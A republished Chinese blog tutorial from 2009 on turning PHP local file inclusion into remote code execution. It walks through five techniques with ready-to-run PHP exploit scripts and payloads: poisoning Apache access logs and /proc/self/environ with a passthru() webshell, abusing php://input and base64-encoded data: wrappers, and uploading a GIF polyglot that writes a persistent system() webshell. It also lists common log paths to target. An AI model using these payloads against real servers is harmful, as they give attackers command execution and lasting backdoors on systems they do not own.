首页 电脑 电脑学堂 查看内容

利用PHP代码实现Lfi2rce

2009-9-4 11:29 397 0

摘要: 作者:泉哥 主页:http://riusksk.blogbus.com 之前曾写过一篇博文《LFI2RCE思路》:http://riusksk.blogbus.com/logs/34781127....
关键词: log PHP access 文件 http 路径 content 代码 方法 apache

作者:泉哥 主页:http://riusksk.blogbus.com 之前曾写过一篇博文《LFI2RCE思路》:http://riusksk.blogbus.com/logs/34781127.html,本文主要是利用PHP代码来实现LFI2RCE,主要是看了《hack in zine》杂志之后学到的,这里顺便记录一下,但所使用的方法依然是上一博文中所提到的,即利用服务器上的相关记录文件来实现LFI2RCE。 在HIZ杂志中所用到的函数是passthru(http://cn2.php.net/passthru),主要还是为了实现一句话木马,当然也可使用exec 以及system等函数,三者之间的区别可参考《PHP 执行系统外部命令 system() exec() passthru()》:http://hi.baidu.com/cgeek/blog/item/fb9a1e4cd1bf1afdd62afc73.html 漏洞代码: <?php include($_GET['content']); ?> 方法一: 请求代码如下: <?php $a = fsockopen("localhost",80); fwrite ($a, "GET /<?php passthru(\$_GET['cmd']);?> HTTP/1.1\r\n". "Host:localhost\r\n". "Connection:Close\r\n\r\n"); fclose($a); ?> 接下来再依据服务器的日志文件路径执行请求,比如aphche,可执行以下请求:http://localhost/index.php?content=/var/log/httpd/access_log&cmd=id 当然也可有其它日志文件路径,比如: "/etc/httpd/logs/acces_log","/etc/httpd/logs/acces.log","/var/www/logs/access_log","/var/www/logs/access.log","/usr/local/apache/logs/access_log","/usr/local/apache/logs/access.log","/var/log/apache/access_log","/var/log/apache/access.log","/var/log/httpd/access_log","/var/log/httpd/access.log","D:/apps/Apache Group/Apache2/logs/access.log" 关于日志文件路径的获取,可以通过访问 proc/self/environ和proc/self/cmdline得到路径,proc/self/environ可以显示当前服务器的环境状态,而proc/self/cmdline可以显示进程所调用的命令行参数.如果是在apache上访问以上的配置文件,那么就可以获得其安装的全路径,同时也可得到log文件的路径. 方法二:另外,也可利用包含环境变量的文件:/proc/self/environ ,而此时我们将恶意代码插入到User-Agent header中,那么在代码就会被记录到以上文件中,具体代码如下: <?php $a=fsockopen("localhost",80); fwrite($a, "GET /../../../../proc/self/environ HTTP/1.1\r\n". "User-Agent: <?php passthru(\$_GET['cmd']); ?> \r\n". "Host: localhost \r\n". "Connection: Close\r\n\r\n"); fclose($a); ?> 方法三: 还有一种方法就是利用php://wrapper(http://www.php.net/wrappers.php),例如使用php://input来获取HTTP POST 请求中的原始数据并远程执行: <?php $request = "<?php passthru('id;'); ?>"; $req = "POST /index.php?content=php://input HTTP /1.1\r\n". "Host:localhost\r\n". "Content-type:text/html\r\n". "Content-length:".strlen($request)."\r\n". "Connection: Close\r\n\r\n". "$request \r\n\r\n"; $a=fsockopen("localhost",80); fwrite($a,$req); echo $req; while (!feof($a)) {  echo fgets($a,128);  } fclose($a); ?> 方法四: 利用"data:"wrapper(http://cn.php.net/manual/en/wrappers.data.php):     index.php?content=data:<?php system($_GET[c]); ?>?&c=dir 可再进行base64加密以绕过validation/sketchy logs: index.php?content=data:;base64, \ PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir  方法五: 先在论坛或个人资料等可上传图片的地方上传一张包含PHP代码的图片,内容如下(以gif格式为例,用十六进制编辑器修改): gif89a <? php fputs(fopen("a.php","w"),"<?php system($_REQUEST['cmd']);?>") ?> 必要的话,还可将上面的内容进行编码,然后通过查看图片的地址,接着在地址栏中输入: index.php?content=图片地址 最后用一句话木马客户端去连接a.php。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部